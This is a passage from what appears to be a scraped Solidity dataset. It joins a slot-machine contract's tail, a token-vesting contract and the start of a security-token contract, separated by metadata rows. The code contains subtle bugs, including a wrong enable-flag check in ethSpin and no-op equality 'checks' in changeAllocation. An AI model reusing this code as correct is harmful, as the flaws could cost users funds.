spin(tokenSpinPrice, true, true);
} else {
IERC20(tokenAddress).transferFrom(msg.sender,
address(this),
tokenSpinPrice);
uint256 prizePoolTokens = (tokenSpinPrice * potFee) / PRECISION;
prizePool += prizePoolTokens;
if(teamFee > 0){
IERC20(tokenAddress).transfer(teamAddress,
(tokenSpinPrice * teamFee) / PRECISION);
}
address[] memory stakingAddresses = s_stakingAddresses;
uint256[] memory stakingFees = s_stakingFees;
for (uint256 i; i < stakingAddresses.length; i++) {
if(stakingFees[i] > 0){
IERC20(tokenAddress).transfer(stakingAddresses[i],
(tokenSpinPrice * stakingFees[i]) / PRECISION);
}
}
spin(prizePoolTokens, false, true);
}
}
function ethSpin() public payable {
// Play with eth
require(msg.value >= ethSpinPrice, "Insufficient value to roll");
require(tokenSpinningEnabled, "ETH spinning disabled.");
uint256 teamFeeETH = (ethSpinPrice * teamFee) / PRECISION;
if(teamFeeETH > 0){
teamAddress.transfer(teamFeeETH);
}
uint256 swapETH = msg.value - teamFeeETH;
address[] memory path = new address[](2);
path[0] = camelotRouter.WETH();
path[1] = tokenAddress;
uint256 deadline = block.timestamp + 180;
uint256 tokenBalanceBefore = IERC20(tokenAddress).balanceOf(address(this));
camelotRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: swapETH
}(0, path, address(this), address(0), deadline);
uint256 swappedTokens = IERC20(tokenAddress).balanceOf(address(this)) -
tokenBalanceBefore;
address[] memory stakingAddresses = s_stakingAddresses;
uint256[] memory stakingFees = s_stakingFees;
for (uint256 i; i < stakingAddresses.length; i++) {
if(stakingFees[i] > 0){
IERC20(tokenAddress).transfer(stakingAddresses[i],
(swappedTokens * stakingFees[i]) / (PRECISION - potFee));
}
}
uint256 prizePoolTokens = IERC20(tokenAddress).balanceOf(address(this)) - tokenBalanceBefore;
prizePool += prizePoolTokens;
spin(prizePoolTokens, false, false);
}
// Assumes the subscription is funded sufficiently.
function spin(uint256 cost,
bool isFreeSpin,
bool isTokenSpin) internal {
// Will revert if subscription is not set and funded.
uint256 id = COORDINATOR.requestRandomWords(keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords);
idToRoll[id].round = rolls.length;
idToRoll[id].roller = msg.sender;
idToRoll[id].id = id;
idToRoll[id].cost = cost;
idToRoll[id].finished = false;
idToRoll[id].isFreeSpin = isFreeSpin;
idToRoll[id].isTokenSpin = isTokenSpin;
roundsPlayed[msg.sender].push(rolls.length);
// Push roll to master roll array
rolls.push(idToRoll[id]);
}
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
override
{
uint8 symbol = 0;
uint8[] memory wheel = s_wheels[0];
uint256[] memory _symbolOdds = s_symbolOdds;
uint256 oddsCounter = _symbolOdds[0];
uint256 randomNumber = randomWords[0];
for (uint8 i; i < _symbolOdds.length; i++) {
if ((randomNumber % PRECISION) + 1 <= oddsCounter) {
symbol = wheel[i];
break;
} else {
oddsCounter += _symbolOdds[i + 1];
}
}
idToRoll[requestId].symbols[0] = symbol;
if ((uint256(keccak256(abi.encode(randomNumber, 1))) % PRECISION) + 1 <=
sameSymbolOdds) {
idToRoll[requestId].symbols[1] = symbol;
} else {
idToRoll[requestId].symbols[1] = wheel[
uint256(keccak256(abi.encode(randomNumber, 2))) % wheel.length
];
}
if ((uint256(keccak256(abi.encode(randomNumber, 3))) % PRECISION) + 1 <=
sameSymbolOdds) {
idToRoll[requestId].symbols[2] = symbol;
} else {
idToRoll[requestId].symbols[2] = wheel[
uint256(keccak256(abi.encode(randomNumber, 4))) % wheel.length
];
}
idsFulfilled++;
game(requestId);
}
function game(uint256 requestId) internal {
if (idToRoll[requestId].symbols[0] == idToRoll[requestId].symbols[1] &&
idToRoll[requestId].symbols[1] == idToRoll[requestId].symbols[2]) {
// all 3 match
uint256 prize = calculatePrize(idToRoll[requestId].symbols[0],
idToRoll[requestId].cost);
idToRoll[requestId].payout = prize;
IERC20(tokenAddress).transfer(idToRoll[requestId].roller, prize);
prizePool -= prize; // decrease prizepool to prevent giving away already won tokens
}
idToRoll[requestId].finished = true;
rolls[idToRoll[requestId].round] = idToRoll[requestId]; // copy
emit Spin(idToRoll[requestId].roller,
idToRoll[requestId].round,
idToRoll[requestId].symbols,
idToRoll[requestId].payout,
idToRoll[requestId].isFreeSpin);
}
function symbolsOfRound(uint256 _round)
public
view
returns (uint8[3] memory)
{
return (rolls[_round].symbols);
}
function roundInfo(uint256 _round) public view returns (Roll memory) {
return (rolls[_round]);
}
function getRoundsPlayed(address player)
public
view
returns (uint256[] memory)
{
return (roundsPlayed[player]);
}
function getTotalRoundsPlayed() public view returns (uint256) {
return (rolls.length);
}
function getSymbolsCount() public view returns (uint256) {
return (s_wheels[0].length);
}
function getStakingAddressesCount() public view returns (uint256) {
return (s_stakingAddresses.length);
}
function totalWinnings(address player) public view returns (uint256) {
// Total winnings of contestant, including already paid
uint256 payout;
uint256[] memory _rounds = roundsPlayed[player];
for (uint256 i; i < _rounds.length; i++) {
payout += rolls[_rounds[i]].payout;
}
return (payout);
}
function calculatePrize(uint8 _symbol, uint256 amountPaid)
public
view
returns (uint256)
{
uint256 prize;
if (_symbol == s_wheels[0].length - 1) {
prize = (prizePool * relativeJackpotPayout) / PRECISION;
} else {
uint256 currentMaxPayout = (prizePool * maxRelativePayout) /
PRECISION;
prize = (amountPaid * s_payouts[_symbol]) / PRECISION;
prize = prize > currentMaxPayout ? currentMaxPayout : prize;
}
return prize;
}
function addTokensToPot(uint256 amount) public {
IERC20(tokenAddress).transferFrom(msg.sender, address(this), amount);
prizePool += amount;
}
function setCallbackGasLimit(uint32 gas) public onlyOwner {
callbackGasLimit = gas;
}
function setCallbackRequestConfirmations(uint16 _callbackRequestConfirmations) public onlyOwner {
requestConfirmations = _callbackRequestConfirmations;
}
function setVrfKeyHash(bytes32 _keyHash) public onlyOwner {
keyHash = _keyHash;
}
function setSymbolOdds(uint256[] memory _symbolOdds) public onlyOwner {
s_symbolOdds = _symbolOdds;
}
function setSameSymbolOdds(uint256 _sameSymbolOdds) public onlyOwner {
require(_sameSymbolOdds <= PRECISION, "Percentage too big.");
sameSymbolOdds = _sameSymbolOdds;
}
function setPayouts(uint256[] memory _payouts) public onlyOwner {
// Set the payout % of each symbol. Also can add new symbols.
s_payouts = _payouts;
}
function setEthSpinPrice(uint256 _ethSpinPrice) public onlyOwner {
ethSpinPrice = _ethSpinPrice;
}
function setTokenSpinPrice(uint256 _tokenSpinPrice) public onlyOwner {
// Set price of a spin
tokenSpinPrice = _tokenSpinPrice;
}
function setMaxRelativePayout(uint256 _maxRelativePayout) public onlyOwner {
// Set the max payout
require(_maxRelativePayout <= PRECISION, "Percentage too big.");
maxRelativePayout = _maxRelativePayout;
}
function setRelativeJackpotPayout(uint256 _relativeJackpotPayout) public onlyOwner {
// Set the jackpot payout
require(_relativeJackpotPayout <= PRECISION, "Percentage too big.");
relativeJackpotPayout = _relativeJackpotPayout;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function setWheels(uint8[][] memory _wheels) public onlyOwner {
// Set the number of each symbol per wheel.
s_wheels = _wheels;
}
function setPrizePool(uint256 _prizePool) public onlyOwner {
// Set number of tokens to be won. Must have desired amount deposited.
require(_prizePool <= IERC20(tokenAddress).balanceOf(address(this)),
"Not enough tokens deposited.");
prizePool = _prizePool;
}
function setTokenSpinningEnabled(bool _tokenSpinningEnabled)
public
onlyOwner
{
// Enable or disable spinning with tokens
tokenSpinningEnabled = _tokenSpinningEnabled;
}
function setEthSpinningEnabled(bool _ethSpinningEnabled) public onlyOwner {
// Enable or disable spinning with ETH
ethSpinningEnabled = _ethSpinningEnabled;
}
function setAllFees(uint256 _potFee,
uint256 _teamFee,
address[] memory stakingAddresses,
uint256[] memory stakingFees) public onlyOwner {
require(stakingAddresses.length == stakingFees.length,
"The amount of staking addresses must equal the amount of staking fees.");
uint256 stakingFeesSum = 0;
for (uint256 i; i < stakingFees.length; i++) {
stakingFeesSum += stakingFees[i];
}
require(_potFee + _teamFee + stakingFeesSum == PRECISION,
"Total fees must equal 100%.");
potFee = _potFee;
teamFee = _teamFee;
s_stakingAddresses = stakingAddresses;
s_stakingFees = stakingFees;
}
function setTeamAddress(address _newTeamAddress) public onlyOwner {
teamAddress = payable(_newTeamAddress);
}
function setFreeSpinNFTAddress(address _freeSpinNFTAddress)
public
onlyOwner
{
freeSpinNFTAddress = _freeSpinNFTAddress;
}
function setFreeSpinTimeout(uint256 timeout) public onlyOwner {
freeSpinTimeout = timeout;
}
function setFreeSpinTier1MinTokenBalance(uint256 _freeSpinTier1MinTokenBalance) public onlyOwner {
freeSpinTier1MinTokenBalance = _freeSpinTier1MinTokenBalance;
}
function setFreeSpinTier2MinTokenBalance(uint256 _freeSpinTier2MinTokenBalance) public onlyOwner {
freeSpinTier2MinTokenBalance = _freeSpinTier2MinTokenBalance;
}
function setFreeSpinTier3MinTokenBalance(uint256 _freeSpinTier3MinTokenBalance) public onlyOwner {
freeSpinTier3MinTokenBalance = _freeSpinTier3MinTokenBalance;
}
function claimFreeSpinFromNFT(uint256 tokenId) public {
require(IERC721(freeSpinNFTAddress).ownerOf(tokenId) == msg.sender,
"User doesn't own the NFT.");
require(!freeSpin[msg.sender], "User already has a free spin.");
require(lastFreeSpinTimeAddress[msg.sender] + freeSpinTimeout <
block.timestamp,
"User was given a free spin recently.");
require(lastFreeSpinTimeNFT[tokenId] + freeSpinTimeout < block.timestamp,
"NFT was given a free spin recently.");
if (tokenId <= maxSupplyFreeSpinTier1) {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier1MinTokenBalance,
"User has insufficient token balance.");
} else if (tokenId <= maxSupplyFreeSpinTier1 + maxSupplyFreeSpinTier2) {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier2MinTokenBalance,
"User has insufficient token balance.");
} else {
require(IERC20(tokenAddress).balanceOf(msg.sender) >=
freeSpinTier3MinTokenBalance,
"User has insufficient token balance.");
}
lastFreeSpinTimeAddress[msg.sender] = block.timestamp;
lastFreeSpinTimeNFT[tokenId] = block.timestamp;
freeSpin[msg.sender] = true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
receive() external payable {}
}
| 57,664 | 610 |
4a183d4b986879cff346bf37cbb2ae6e9c66f6dd1ff3aeb89d34d01f04dd1c8e
| 20,741 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8a/8A466D0f9f5804463505D45CbC0825B518F5145a_FlexibleVesting.sol
| 4,917 | 19,993 |
pragma solidity 0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b + (a % b == 0 ? 0 : 1);
}
function abs(int256 n) internal pure returns (uint256) {
unchecked {
return uint256(n >= 0 ? n : -n);
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract FlexibleVesting is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// address of the ERC20 token
IERC20 immutable private _token;
// Time period when vesting changes are still possible
uint256 private constant lockTime = 86400 * 2; // 2 days
constructor(address token_) {
require(token_ != address(0x0));
_token = IERC20(token_);
}
struct VestingSchedule {
bool initialized;
uint256 start;
address beneficiary;
uint256 amount;
uint256 releasedAmount;
VestingSchedulePeriod[] periods;
uint currentPeriodIndex;
}
struct VestingSchedulePeriod {
uint256 periodDays;
uint256 amountPerPeriod;
}
mapping(address => VestingSchedule) private vestingSchedules;
event Claimed(address claimAddress, uint256 amount);
// checks if vesting schedule does not exists for specified address
modifier onlyIfVestingScheduleExists(address vestingAddress) {
require(vestingSchedules[vestingAddress].initialized, "Vesting configuration for such address does not exists");
_;
}
// checks if vesting schedule does not exists for specified addresses
modifier onlyIfVestingSchedulesExist(address[] memory vestingAddresses) {
uint256 length = vestingAddresses.length;
for (uint256 i = 0; i < length; i += 1) {
require(vestingSchedules[vestingAddresses[i]].initialized, "Vesting configuration for an address does not exist");
}
_;
}
// checks if vesting schedule does already exists for specified addresses
modifier onlyIfVestingSchedulesDoNotExist(address[] memory vestingAddresses) {
uint256 length = vestingAddresses.length;
for (uint256 i = 0; i < length; i += 1) {
require(!vestingSchedules[vestingAddresses[i]].initialized, "Vesting configuration for an address already exist");
}
_;
}
modifier periodsAreCorrect(VestingSchedulePeriod[] memory periods, uint256 totalVestingAmount) {
uint256 previousPeriodDay = 0;
uint256 totalPeriodsAmount = 0;
for(uint256 i = 0; i < periods.length; i++) {
require(periods[i].periodDays > previousPeriodDay, "Each period days should be greater than previous");
previousPeriodDay = periods[i].periodDays;
totalPeriodsAmount += periods[i].amountPerPeriod;
}
require(totalPeriodsAmount == totalVestingAmount, "Total amount for periods must equal total vesting amount");
_;
}
// create allocation schedule for specific address by periods
function createScheduleForAddresses(address[] memory vestingAddresses, uint256 amount, uint256 start, VestingSchedulePeriod[] memory periods)
public
onlyOwner
onlyIfVestingSchedulesDoNotExist(vestingAddresses)
periodsAreCorrect(periods, amount) {
require(amount > 0, "Vesting amount must be greater than 0");
require(start > 0, "Vesting start should be positive value");
uint256 adressesLength = vestingAddresses.length;
for (uint256 beneficiaryIndex = 0; beneficiaryIndex < adressesLength; beneficiaryIndex += 1) {
address vestingAddress = vestingAddresses[beneficiaryIndex];
vestingSchedules[vestingAddress].initialized = true;
vestingSchedules[vestingAddress].start = start;
vestingSchedules[vestingAddress].beneficiary = vestingAddress;
vestingSchedules[vestingAddress].amount = amount;
vestingSchedules[vestingAddress].releasedAmount = 0;
vestingSchedules[vestingAddress].currentPeriodIndex = 0;
uint256 length = periods.length;
for (uint256 i = 0; i < length; i += 1) {
vestingSchedules[vestingAddress].periods.push(VestingSchedulePeriod(periods[i].periodDays,
periods[i].amountPerPeriod));
}
}
}
function changeAllocation(address[] memory vestingAddresses, uint256 amount, uint256 start, VestingSchedulePeriod[] memory periods)
public
onlyOwner
onlyIfVestingSchedulesExist(vestingAddresses)
periodsAreCorrect(periods, amount) {
require(amount > 0, "Vesting amount must be greater than 0");
require(start > 0, "Vesting start should be positive value");
uint256 currentTime = getCurrentTime();
require(currentTime < start + lockTime, "Vesting is locked already");
for (uint256 beneficiaryIndex = 0; beneficiaryIndex < vestingAddresses.length; beneficiaryIndex += 1) {
address vestingAddress = vestingAddresses[beneficiaryIndex];
uint256 currentPeriodIndex = vestingSchedules[vestingAddress].currentPeriodIndex;
vestingSchedules[vestingAddress].start = start;
vestingSchedules[vestingAddress].beneficiary = vestingAddress;
vestingSchedules[vestingAddress].amount = amount;
uint256 currentPeriodsLength = vestingSchedules[vestingAddress].periods.length;
// Check that already claimed epochs are equal
for (uint256 i = 0; i < currentPeriodIndex; i += 1) {
vestingSchedules[vestingAddress].periods[i].periodDays == periods[i].periodDays;
vestingSchedules[vestingAddress].periods[i].amountPerPeriod == periods[i].amountPerPeriod;
}
// Pop existing periods
for (uint256 i = currentPeriodIndex; i < currentPeriodsLength; i += 1) {
vestingSchedules[vestingAddress].periods.pop();
}
// Push new ones
for (uint256 i = currentPeriodIndex; i < periods.length; i += 1) {
vestingSchedules[vestingAddress].periods.push(VestingSchedulePeriod(periods[i].periodDays,
periods[i].amountPerPeriod));
}
}
}
function claimTokensForAddress(address vestingAddress)
public
nonReentrant
onlyIfVestingScheduleExists(vestingAddress) {
bool isBeneficiary = msg.sender == vestingAddress;
bool isOwner = msg.sender == owner();
require(isBeneficiary || isOwner, "Only beneficiary and owner can claim vested tokens");
VestingSchedule storage vestingSchedule = vestingSchedules[vestingAddress];
uint256 currentPeriodIndex = vestingSchedule.currentPeriodIndex;
VestingSchedulePeriod storage currentPeriod = vestingSchedule.periods[currentPeriodIndex];
uint256 currentTime = getCurrentTime();
uint256 start = vestingSchedule.start;
uint256 periodDuration = currentPeriod.periodDays * 86400; //seconds in a day
uint256 timeFromStart = start.add(periodDuration);
require(currentTime >= timeFromStart, "Too early to claim tokens");
uint256 claimAmount = currentPeriod.amountPerPeriod;
uint256 length = vestingSchedule.periods.length;
for (uint256 i = currentPeriodIndex + 1; i < length; i += 1) {
periodDuration = vestingSchedule.periods[i].periodDays * 86400;
timeFromStart = start.add(periodDuration);
if (currentTime >= timeFromStart) {
currentPeriodIndex += 1;
claimAmount = claimAmount.add(vestingSchedule.periods[i].amountPerPeriod);
} else {
break;
}
}
if (claimAmount > vestingSchedule.amount) {
claimAmount = vestingSchedule.amount;
}
vestingSchedule.currentPeriodIndex = currentPeriodIndex + 1;
vestingSchedule.releasedAmount = vestingSchedule.releasedAmount.add(claimAmount);
address payable beneficiaryPayable = payable(vestingSchedule.beneficiary);
_token.transfer(beneficiaryPayable, claimAmount);
emit Claimed(beneficiaryPayable, claimAmount);
}
function getAmountToBeClaimed(address vestingAddress)
external
view
onlyIfVestingScheduleExists(vestingAddress)
returns(uint256) {
VestingSchedule storage vestingSchedule = vestingSchedules[vestingAddress];
uint256 currentPeriodIndex = vestingSchedule.currentPeriodIndex;
VestingSchedulePeriod storage currentPeriod = vestingSchedule.periods[currentPeriodIndex];
uint256 currentTime = getCurrentTime();
uint256 start = vestingSchedule.start;
uint256 periodDuration = currentPeriod.periodDays * 86400; //seconds in a day
uint256 timeFromStart = start.add(periodDuration);
if(currentTime < timeFromStart) {
return uint256(0);
}
uint256 vestedAmount = 0;
uint256 length = vestingSchedule.periods.length;
for (uint256 i = 0; i < length; i += 1) {
periodDuration = vestingSchedule.periods[i].periodDays * 86400;
timeFromStart = start.add(periodDuration);
if (currentTime >= timeFromStart) {
vestedAmount = vestedAmount.add(vestingSchedule.periods[i].amountPerPeriod);
} else {
break;
}
}
return vestedAmount.sub(vestingSchedule.releasedAmount);
}
function getAddressVestingSchedule(address vestingAddress)
public
view
onlyIfVestingScheduleExists(vestingAddress)
returns (VestingSchedule memory) {
VestingSchedule memory schedule = vestingSchedules[vestingAddress];
return schedule;
}
function getCurrentTime()
internal
virtual
view
returns(uint256){
return block.timestamp;
}
}
| 110,414 | 611 |
64c33aafd144e28a300b2d96ba15acae8b7e499ca3ba827f24420f170893bf38
| 36,031 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Finance/0x2aa1b133f464ac08f66c2f702581d014e4603d31.sol
| 5,378 | 20,640 |
pragma solidity ^0.4.24;
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function _pause() internal {
require(!paused);
paused = true;
emit Pause(now);
}
function _unpause() internal {
require(paused);
paused = false;
emit Unpause(now);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract IST20 is StandardToken, DetailedERC20 {
// off-chain hash
string public tokenDetails;
//transfer, transferFrom must respect use respect the result of verifyTransfer
function verifyTransfer(address _from, address _to, uint256 _amount) public returns (bool success);
function mint(address _investor, uint256 _amount) public returns (bool success);
function burn(uint256 _value) public;
event Minted(address indexed to, uint256 amount);
event Burnt(address indexed _burner, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ISecurityToken is IST20, Ownable {
uint8 public constant PERMISSIONMANAGER_KEY = 1;
uint8 public constant TRANSFERMANAGER_KEY = 2;
uint8 public constant STO_KEY = 3;
uint8 public constant CHECKPOINT_KEY = 4;
uint256 public granularity;
// Value of current checkpoint
uint256 public currentCheckpointId;
// Total number of non-zero token holders
uint256 public investorCount;
// List of token holders
address[] public investors;
// Permissions this to a Permission module, which has a key of 1
